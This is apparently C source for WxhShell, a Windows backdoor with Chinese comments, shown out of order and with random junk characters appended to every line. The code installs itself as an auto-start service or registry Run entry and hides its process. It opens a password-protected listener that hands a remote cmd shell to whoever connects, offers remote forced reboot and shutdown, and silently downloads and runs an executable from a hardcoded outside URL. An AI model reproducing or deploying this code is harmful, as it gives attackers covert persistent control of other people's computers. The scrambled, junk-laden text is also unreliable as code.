    if(Boot(SHUTDOWN)) @#yl_r%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;WG%)^e  
    else { Rg3g:TV9c  
    closesocket(wsh); ynJ)6n7a  
    ExitThread(0); 9[h8Dy  
    } 6uxF<  
    break; xW58B  
    } DuIgFp  
  // 获取shell ~|{_Go{ Q  
  case 's': { |{La@X  
    CmdShell(wsh); `t+;[G>ZE  
    closesocket(wsh); FBa- gm<9  
    ExitThread(0); L$^)QxH7  
    break; >J{e_C2ZS  
  } zICrp  
  // 退出 zb.sh  
  case 'x': { S 9;FD3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,mM7g  
    CloseIt(wsh); <DhuY/o  
    break; 2\CZ"a#[  
    } ]PB95%  
  // 离开 7Ac.^rv5  
  case 'q': { jWso'K  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); y0'WB`hNQ  
    closesocket(wsh); I(<Trn  
    WSACleanup(); 'N`x@(  
    exit(1); BwVq:)P/R  
    break; =69sWcC8  
        } @XVx{t;g2  
  } czK}F/Sg`  
  } 7A{Z1[7  
seb/rxb  
  // 提示信息 (^m~UN2@~m  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eF?jNO3  
} K6,d{n  
  } !8tqYY?>@\  
VUD9ZyPw  
  return; QT4vjz+|  
} 6t gq.XL^n  
a!.Y@o5Ku  
// shell模块句柄 k=X)ax t1  
int CmdShell(SOCKET sock) q[x|tO  
{ *r ('A  
STARTUPINFO si; XII',&  
ZeroMemory(&si,sizeof(si)); rd,!-w5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )"%J~:`h}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; **c"}S6:mC  
PROCESS_INFORMATION ProcessInfo; <ka zV<"  
char cmdline[]="cmd"; xPJ @!ks9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 10_>EY`  
  return 0; OX[r\  
} Ct$\!|aR  
D8`SI2 1P  
// 自身启动模式 Nj +^;Y  
int StartFromService(void) DIgur}q)@  
{ A(z m  
typedef struct QiaBZAol  
{ ktM7L{Nz  
  DWORD ExitStatus; 9TEAM<b;  
  DWORD PebBaseAddress; J\Tu=f)  
  DWORD AffinityMask; vnqLcNB H  
  DWORD BasePriority;  3bHB$n  
  ULONG UniqueProcessId; (W#^-*$R  
  ULONG InheritedFromUniqueProcessId; rpEN\S%7P  
}   PROCESS_BASIC_INFORMATION; E9]*!^=/  
PR%n>a#  
PROCNTQSIP NtQueryInformationProcess; 3!8u  
$5DlCN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; M2nUY`%#v  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gCbS$Pw  
28j/K=0(  
  HANDLE             hProcess; f67t.6Vw2+  
  PROCESS_BASIC_INFORMATION pbi; QFFFxaeJg  
^ZFK:|Ju  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -4obX  
  if(NULL == hInst ) return 0; 2`Ihrz6  
k|$?b7)"@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bpa'`sf  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6cOlY= bn  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]$U A5/a  
K*M1$@5  
  if (!NtQueryInformationProcess) return 0; UD Pn4q  
h r6?9RJY  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FLIU}doc  
  if(!hProcess) return 0; 'ZAIe7i&  
KLjvPT\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |{MXDx  
PgsG*5WQ  
  CloseHandle(hProcess); 2_TFc2d  
k&npC8oA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3;AJp_;  
if(hProcess==NULL) return 0; z Ece>=C  
}taG/kE62  
HMODULE hMod; 7@&kPh}PG  
char procName[255]; ^_BjO(b'e  
unsigned long cbNeeded; 4h T!DS  
cGlpJ)'-{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8YQ7XB  
&g]s@S|%  
  CloseHandle(hProcess); HE0m#  
I/u>Gt  
if(strstr(procName,"services")) return 1; // 以服务启动 B?4Iu)bCxI  
5>hXqNjP2  
  return 0; // 注册表启动 @QE&D+NS  
} VFKFO9  
D58RHgY[  
// 主模块 6_K7!?YG7  
int StartWxhshell(LPSTR lpCmdLine) AB<%GzW0(  
{ w"L]?#  
  SOCKET wsl; #X0Xc2}{f  
BOOL val=TRUE; _/YM@%d  
  int port=0; xl9S=^`=  
  struct sockaddr_in door; tjQ6[`  
FM|3'a-z  
  if(wscfg.ws_autoins) Install(); KGmAnN  
gL`aLg_  
port=atoi(lpCmdLine); /x\~ 5cC  
V5gr-^E  
if(port<=0) port=wscfg.ws_port; _>_ "cKS  
`rV -,-r@  
  WSADATA data; ^?|d< J:{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U|8?$/*\  
|o@U L  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -?-yeJP2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \y+^r|IL  
  door.sin_family = AF_INET; ZuKOscVS#T  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &#OF,_6"m  
  door.sin_port = htons(port); [MD"JW?4B  
AqH GBH0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { w*X(bua@  
closesocket(wsl); 6q,CEm  
return 1; (px3o'lsh  
} ^2i$AM1t  
7cO1(yE#vr  
  if(listen(wsl,2) == INVALID_SOCKET) { {7` 1m!R  
closesocket(wsl); ;D@F  
return 1; =&~ K;=:  
} n*caP9B  
  Wxhshell(wsl); V(Cxd.u   
  WSACleanup(); |hX\ep   
R7c42L\QA  
return 0; D`U,T& @  
qC q?`0&#  
} n*Hx"2XF  
@VyF' ?}  
// 以NT服务方式启动 Z_>:p^id  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ->Fsmb+R  
{ U&SSc@of  
DWORD   status = 0; 9t8ccr  
  DWORD   specificError = 0xfffffff; A,c_ME+DVB  
 O`Htdnu  
  serviceStatus.dwServiceType     = SERVICE_WIN32; SZ:R~4 A  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zoBp02j  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r4fd@<=g  
  serviceStatus.dwWin32ExitCode     = 0; g[;&_gL  
  serviceStatus.dwServiceSpecificExitCode = 0; ;u<F,o(  
  serviceStatus.dwCheckPoint       = 0; Swgvj(y;!A  
  serviceStatus.dwWaitHint       = 0; m8INgzVTC  
- %?> 1n  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); C#P>3"  
  if (hServiceStatusHandle==0) return; ,^jQBD4={  
U !%IC7@  
status = GetLastError(); Nh !U  
  if (status!=NO_ERROR) 4tSh.qBht  
{ ~+PKWs'}F  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; lB7/oa1]>  
    serviceStatus.dwCheckPoint       = 0; iz+,,UH  
    serviceStatus.dwWaitHint       = 0; }4Q3S1|U  
    serviceStatus.dwWin32ExitCode     = status; X@/X65=[  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,V)hV@Dk  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3wQ\L=  
    return; ;CuL1N#I  
  } G]dHYxG  
e~nh95  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; I<" UQ\)  
  serviceStatus.dwCheckPoint       = 0; C;ME"4,(  
  serviceStatus.dwWaitHint       = 0; |w-s{L3@+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); rEWuWv$  
} "$q"Kilj%  
ob/HO (h3  
// 处理NT服务事件,比如:启动、停止 oWggh3eXk  
VOID WINAPI NTServiceHandler(DWORD fdwControl) dvglh?7d  
{ !:~C/B{  
switch(fdwControl) waG &3m  
{ DLO#_t^v.  
case SERVICE_CONTROL_STOP: )i:"cyoE  
  serviceStatus.dwWin32ExitCode = 0; y,c \'}*H  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ZIc-^&`r=  
  serviceStatus.dwCheckPoint   = 0; g^U-^ f  
  serviceStatus.dwWaitHint     = 0; a, `B.I  
  { RK_z!%(P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -$kbj*b##  
  } 9h<iw\ $'  
  return; ~8'HX*B]z  
case SERVICE_CONTROL_PAUSE: |1Nz8Vr.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^5+7D1>W%  
  break; iphdJZ/f  
case SERVICE_CONTROL_CONTINUE: %v^qQWy=*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; k"cKxzB  
  break; G$~hAZ  
case SERVICE_CONTROL_INTERROGATE: Y"dTm;&  
  break; NkQain9  
}; la_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L>N)[;|  
} /q!_f!<q4x  
EPM(hxCIQ  
// 标准应用程序主函数 ) urUa E  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :]* =f].  
{ o+\?E.%%g  
9~ifST \  
// 获取操作系统版本 YT@N$kOg_  
OsIsNt=GetOsVer(); ]ij:>O@{$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5yp  
E.yc"|n7l2  
  // 从命令行安装 j92+kq>Xd  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3>^B%qg6  
{s?hXB  
  // 下载执行文件 avqJ[R  
if(wscfg.ws_downexe) { }~#qDrK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s3~6[T?8  
  WinExec(wscfg.ws_filenam,SW_HIDE); V_9\Ax'X  
} @VsK7Eo  
fi6_yFl  
if(!OsIsNt) { 6X$\:>  
// 如果时win9x,隐藏进程并且设置为注册表启动 XLm@, A[  
HideProc(); " j:15m5  
StartWxhshell(lpCmdLine); _$v$v$74^  
} [U7r>&  
else DyQvk  
  if(StartFromService()) 1z3I^gI*i  
  // 以服务方式启动 l_(4CimOZ  
  StartServiceCtrlDispatcher(DispatchTable); |D8c=c%  
else g$8a B{)  
  // 普通方式启动 "azrcC  
  StartWxhshell(lpCmdLine); O)r>AdLGn  
Z3iX^  
return 0; ;;LiZlf  
} aQ)g7C  
^Ux*"\/Es  
A^F0}MYT  
<a2Kc '  
=========================================== PU\@^)$  
HGW;]8xl  
r\|"j8  
oXqx]@7  
^ X<ytOd5  
q,j` _ R4  
" !i=k=l=  
1{wOjq(4  
#include <stdio.h> bvo }b-]E  
#include <string.h> cp+eh  
#include <windows.h> @'S !G"\  
#include <winsock2.h> }$s._)a  
#include <winsvc.h> r}t%DH  
#include <urlmon.h> uC1v^!D  
Y F W0  
#pragma comment (lib, "Ws2_32.lib") %W$?*Tm  
#pragma comment (lib, "urlmon.lib") 6r)qM)97  
1;+(HB  
#define MAX_USER   100 // 最大客户端连接数 R=HcSRTkA  
#define BUF_SOCK   200 // sock buffer vu)V:y  
#define KEY_BUFF   255 // 输入 buffer Umk!m] q  
jyjK~ !0  
#define REBOOT     0   // 重启 Q__1QUu  
#define SHUTDOWN   1   // 关机 i)d'l<RA  
R<1[hH9"o  
#define DEF_PORT   5000 // 监听端口 /?:]f  
p5=VGKp  
#define REG_LEN     16   // 注册表键长度 \"A~ks~  
#define SVC_LEN     80   // NT服务名长度 'gz@UE1  
5LxzET"P  
// 从dll定义API cUr'mb  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I4 4bm?[S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ea3 4x  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qd?k#Gw&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %5 ?0+~  
[2ZZPY9?Q  
// wxhshell配置信息 c::Vh  
struct WSCFG { ekuRGG  
  int ws_port;         // 监听端口 +JL"Z4b@R}  
  char ws_passstr[REG_LEN]; // 口令 g ??@~\Ov  
  int ws_autoins;       // 安装标记, 1=yes 0=no `)eqTeW  
  char ws_regname[REG_LEN]; // 注册表键名 C$EvcF% 1  
  char ws_svcname[REG_LEN]; // 服务名 1He'\/#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 RIxGwMi%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *AN2&>Y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jo=,j/,l  
int ws_downexe;       // 下载执行标记, 1=yes 0=no KRP)y{~o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Hk;) l3oB  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 gUxJ>~  
[a1}r=6~  
}; YPsuG -is  
'q=Ly?9  
// default Wxhshell configuration q P>Gre  
struct WSCFG wscfg={DEF_PORT, :. a}pgh  
    "xuhuanlingzhe", 1:lhZFZ  
    1, _ ;_NM5  
    "Wxhshell", E&RK My)  
    "Wxhshell", 'B4j=K*  
            "WxhShell Service", 68jq1Y Pv  
    "Wrsky Windows CmdShell Service", {\f`s^;8{  
    "Please Input Your Password: ", 4*9:  
  1, 1PJ8O|Z t8  
  "http://www.wrsky.com/wxhshell.exe", Ot_xeg;7  
  "Wxhshell.exe" P(za8l>  
    }; NFcMh+qnK  
 zWIC4:  
// 消息定义模块 bi[gyl#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; lTpmoDa%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~*h` ?A0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; h+h`0(z  
char *msg_ws_ext="\n\rExit."; p,+$7f1S  
char *msg_ws_end="\n\rQuit."; bPtbU :G  
char *msg_ws_boot="\n\rReboot..."; QA&BNG  
char *msg_ws_poff="\n\rShutdown..."; co!#.  
char *msg_ws_down="\n\rSave to "; ByPzA\;e  
&U8W(NxN  
char *msg_ws_err="\n\rErr!"; X+T +y>e a  
char *msg_ws_ok="\n\rOK!"; fhp][)g;  
9:tKRN_D  
char ExeFile[MAX_PATH]; w/HGmVa  
int nUser = 0; E6d0YgfD  
HANDLE handles[MAX_USER]; n/5)}( }K  
int OsIsNt; HLcK d`$/  
q@x{6zj  
SERVICE_STATUS       serviceStatus; -?WhJ.U  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; we&g9j'  
9L'R;H?L  
// 函数声明 |JW-P`tL0  
int Install(void); JY tM1d  
int Uninstall(void); } .cP  
int DownloadFile(char *sURL, SOCKET wsh); v1Lu.JQC$  
int Boot(int flag); g^DPb pWxu  
void HideProc(void); T6ajWUw  
int GetOsVer(void); "!6 Ax-'  
int Wxhshell(SOCKET wsl); 4#m"t?6!  
void TalkWithClient(void *cs); vxzOG?Xc:  
int CmdShell(SOCKET sock); \^+=vO;A  
int StartFromService(void); N8| ;X  
int StartWxhshell(LPSTR lpCmdLine); ',yY  
|:i``gFj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5M2G ;o  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); QX'/PO  
4=>4fia&D  
// 数据结构和表定义 wV;qc3  
SERVICE_TABLE_ENTRY DispatchTable[] = =%YU~  
{ T&=1IoOg  
{wscfg.ws_svcname, NTServiceMain}, h@"dpmpe  
{NULL, NULL} 6* /o  
}; H`$s63  
{%5tqF  
// 自我安装 C{ {DZ*  
int Install(void) u"\HBbBx  
{ ;w,g|=RQ  
  char svExeFile[MAX_PATH]; X#mppMU  
  HKEY key; d aIt `}s  
  strcpy(svExeFile,ExeFile); lk6*?EJ  
SPxgIP;IR  
// 如果是win9x系统,修改注册表设为自启动 F.b;O :  
if(!OsIsNt) { AoEG%nT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AopC xaJ`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X'Dg= |  
  RegCloseKey(key); EF?@f{YY$n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EwcN$Ma  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4w:_4qyb  
  RegCloseKey(key); UJ_E&7,L  
  return 0; \KmjA )(  
    } eGS1% [  
  } R)"Y 40nW  
} p-zWfXn!P  
else { RbJ,J)C>  
A|V |vT7cb  
// 如果是NT以上系统,安装为系统服务 =3J &UQL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t>h<XPJi  
if (schSCManager!=0) SR#X\AWM  
{ =!'gV:M  
  SC_HANDLE schService = CreateService $Blo`'  
  ( 6<+R55  
  schSCManager, Oc;0*v[I  
  wscfg.ws_svcname, G l=dL<F  
  wscfg.ws_svcdisp, `7P4O   
  SERVICE_ALL_ACCESS, -< jb>8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~\c]!%)o  
  SERVICE_AUTO_START, qTnfiYG}  
  SERVICE_ERROR_NORMAL, DT_HG|  
  svExeFile, (yduU  
  NULL, ANy=f-V  
  NULL, AfG!(AF`  
  NULL, SxYX`NQ  
  NULL, ?]081l7cd  
  NULL Y B@\"|}  
  ); 1o7 pMp=  
  if (schService!=0) #e0tT+  
  { 93yJAao9  
  CloseServiceHandle(schService); +.Kmpw4  
  CloseServiceHandle(schSCManager); q79)nhC F  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Z<Rz}8s  
  strcat(svExeFile,wscfg.ws_svcname); b<qv /t)$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ysfR@ sH7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W xyQA:3s  
  RegCloseKey(key); t i)foam  
  return 0; <`sVu  
    } ul+ +h4N  
  } wxARD3%  
  CloseServiceHandle(schSCManager); gOZ$rv^g  
} 9)Y]05us  
} }> k9]Y  
L=Q- r[  
return 1; z]> 0A  
} '2a}1?  
t$8f:*6(*  
// 自我卸载 _cx}e!BK#  
int Uninstall(void) '+NmHu:q  
{ v9Oyboh(y  
  HKEY key; m,v"N%k,  
G6xdGUM  
if(!OsIsNt) { EN()dCQHr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BclZsU=xn  
  RegDeleteValue(key,wscfg.ws_regname); -c!{';Zn  
  RegCloseKey(key); 8w~I(2S:#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~zFs/(k  
  RegDeleteValue(key,wscfg.ws_regname); O,ZvV3  
  RegCloseKey(key); vbmSbZ"y  
  return 0; b&A+`d  
  } X~Uvh8O  
} w-R>g dm  
} q[Hx y  
else { l}%!&V0  
?@l9T)fF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); EXg\a#4['  
if (schSCManager!=0) "?V4Tl~uu  
{ Qv,|*bf  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ts3%cRN r  
  if (schService!=0) 5UR$Pn2a2  
  { 7rc^-!k  
  if(DeleteService(schService)!=0) { `h( JD$w  
  CloseServiceHandle(schService); umYq56dw  
  CloseServiceHandle(schSCManager); 'Zf_/ y  
  return 0; e|+U7=CK  
  } f .rz2)o  
  CloseServiceHandle(schService); ;RW!l pGjP  
  } [kgT"?w=  
  CloseServiceHandle(schSCManager); Q <EFd   
} +O}6 8 N  
} w`,[w,t  
FZz\z p  
return 1; fQlR;4QX]  
} RG[3LX/  
~d ~$fR  
// 从指定url下载文件 C',D"  
int DownloadFile(char *sURL, SOCKET wsh) m>$+sMZE  
{ ,:G.V  
  HRESULT hr; 3k5OYUk  
char seps[]= "/"; DIH.c7o  
char *token; vL{~?vq6  
char *file; p8Di9\}  
char myURL[MAX_PATH]; Ec[=~>;n{l  
char myFILE[MAX_PATH]; qi}HJkOq  
Zgt, 'T  
strcpy(myURL,sURL); RS#)uC5/%  
  token=strtok(myURL,seps); 0O+s3#"?@  
  while(token!=NULL) b4!(~"b.  
  { q/Ba#?sen  
    file=token; ||cG/I&,  
  token=strtok(NULL,seps); P*T 'R  
  } .t4IR =Z  
z)=D&\HX  
GetCurrentDirectory(MAX_PATH,myFILE); QS,IM >Nr  
strcat(myFILE, "\\"); }]N7CWy  
strcat(myFILE, file); 7qV_QZ!.  
  send(wsh,myFILE,strlen(myFILE),0); QKYIBX  
send(wsh,"...",3,0); y'xB? >|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &4sUi K"  
  if(hr==S_OK) ej47'#EY  
return 0; AQU4~g mI  
else li8l+5d q  
return 1; kWc%u-_  
.B{3=z^  
} QQ!%lbMK]  
hAHl+q)w?  
// 系统电源模块 cfMj^*I  
int Boot(int flag) z9U<Z^4z+  
{ Vc$x?=  
  HANDLE hToken; 2I(0EBW  
  TOKEN_PRIVILEGES tkp; ,Ww)>O+  
-RVwPY  
  if(OsIsNt) { "2}04b|"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .6+j&{WNo!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `+1+0?9  
    tkp.PrivilegeCount = 1; 9 bYoWw  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [Pi8gj*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); W`^'hka  
if(flag==REBOOT) { N?U;G*G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4~hd{8  
  return 0; ~;QO`I=0P  
} PQ<""_S||  
else { 1mgLH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) E< "aUnI  
  return 0; k'&BAC.K,  
} `QXO+'j4  
  } t8\F7F P  
  else { +'2Mj|d@p  
if(flag==REBOOT) { gpVZZ:~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @zB{Ig  
  return 0; *4Y1((1k  
} Dr$k6kZ}'U  
else { uDay||7^g  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) t@QaxZIlt;  
  return 0; 6E{HNPMb>  
} 3_~V(a  
} Ovv~ymj  
}|%dN*',  
return 1; [94A?pn[z  
} >y"W(  
%N7b XKDP  
// win9x进程隐藏模块 M9HM:  
void HideProc(void) _,"T;i  
{ 'U.)f@L#w  
<w` R ;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _(5SiK R  
  if ( hKernel != NULL ) oS0l Tf\  
  { Ii%^z?'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _d 76jmujJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6!bVPIyYO  
    FreeLibrary(hKernel); ]@vX4G/  
  }  #8MA+  
U748$%}]  
return; >A|(mc  
} YD H!N l  
*9y)B|P^  
// 获取操作系统版本 #wK {G)J  
int GetOsVer(void) >N62t9Ll[  
{ ST5L O#5  
  OSVERSIONINFO winfo; Q&@Ls?pu  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5,})x]'x  
  GetVersionEx(&winfo); Fm_^7|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >8D!K0?E  
  return 1; 7"@^JxYN  
  else VdjS\VYe,  
  return 0; H=9kDP${  
} ExeD3Zj  
)=;GQ*<8Zs  
// 客户端句柄模块 Wf/r@/ q  
int Wxhshell(SOCKET wsl) f_Ma~'3   
{ dKTyh:_{  
  SOCKET wsh; 3p6QJuSB  
  struct sockaddr_in client; :m]~o3KRy  
  DWORD myID; f6vhW66:?x  
njtz,qt_;G  
  while(nUser<MAX_USER) "XlNKBgM  
{ 6=U81  
  int nSize=sizeof(client); DDQ}&`s  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H C(Vu  
  if(wsh==INVALID_SOCKET) return 1; C-E~z{  
)' +" y~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 83K)j"!<X  
if(handles[nUser]==0) [Gop-Vi/~  
  closesocket(wsh); b3F)$UQ  
else -0r 0M )  
  nUser++; U$v|c%6  
  } dv -L!C  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); p4GhT~)l:  
Z^E>)!t  
  return 0; #V&98 F  
} ?g^42IYG  
=!)Ye:\Q  
// 关闭 socket )UbPG`x8  
void CloseIt(SOCKET wsh) TwlX'iI_;  
{ vT~ey  
closesocket(wsh); YbtsJ <w  
nUser--; g xY6M4  
ExitThread(0); 3}dTbr4y  
} i0Ejo;dB  
Su?e\7aj  
// 客户端请求句柄 k#F |  
void TalkWithClient(void *cs) uP, iGA  
{ })W9=xO~  
q\s"B.(G"  
  SOCKET wsh=(SOCKET)cs; |_."U9!Z^  
  char pwd[SVC_LEN]; 8C]K36q  
  char cmd[KEY_BUFF]; ze2%#<  
char chr[1]; * N>n5B2  
int i,j; b .I_  
Z,zkm{9*  
  while (nUser < MAX_USER) { }py)EI,U  
B-^r0/y;  
if(wscfg.ws_passstr) { kvcDa+#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W*S}^6ZT`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "| Oj!&0  
  //ZeroMemory(pwd,KEY_BUFF); pHQrjEF*  
      i=0; +7\$wc_1I@  
  while(i<SVC_LEN) { \ vn!SO7  
\]C_ul'  
  // 设置超时 "uCO?hv0  
  fd_set FdRead; -V g(aD  
  struct timeval TimeOut; B@cC'F#G  
  FD_ZERO(&FdRead); R!i\-C1 S  
  FD_SET(wsh,&FdRead); V=^B7a.;>  
  TimeOut.tv_sec=8; ICck 0S!  
  TimeOut.tv_usec=0; SU ,G0.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =LXjq~p  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); '41'Gn  
.3 >"qv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |w5m2Z  
  pwd=chr[0]; S[ch/  
  if(chr[0]==0xd || chr[0]==0xa) { L~oy|K67  
  pwd=0; 37apOK4+  
  break; #($~e|  
  } r{ >Q{$Q  
  i++; ^h\(j*/#X  
    } #[ f]-c(!  
:eIi^K z[  
  // 如果是非法用户,关闭 socket Z8C~o)n9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7 Tb[sc'  
} tGE=!qk  
Cj%n?-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;w/@_!~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >?<S(  
Tp46K\}Uf  
while(1) { 8Q%g<jX*  
CvhVV"n  
  ZeroMemory(cmd,KEY_BUFF); >$$z6A[  
CbGfVdw/c  
      // 自动支持客户端 telnet标准   ai%*s&0/Y  
  j=0; .;rE4B  
  while(j<KEY_BUFF) { o6tPQ (Vi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9xi nX-x;n  
  cmd[j]=chr[0]; 5P Zzaz<  
  if(chr[0]==0xa || chr[0]==0xd) { (+yH   
  cmd[j]=0; 3r VfBz  
  break; (E;+E\E  
  } Ez8k.]qu  
  j++; *+OS;R1<  
    } |`ya+/ff+  
=yF]#>Ah  
  // 下载文件 :V3z`}Rl  
  if(strstr(cmd,"http://")) { za%gD  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8)lrQvZ  
  if(DownloadFile(cmd,wsh)) N0DzFXp  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :KmnwYm  
  else &(7=NAQsE  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cY5w,.Q/!  
  } 7s0\`eXo/  
  else { y'aK92pF:  
cX!C/`ew>  
    switch(cmd[0]) { WNY:HH  
  NnH]c+  
  // 帮助 "1YwV~M5  
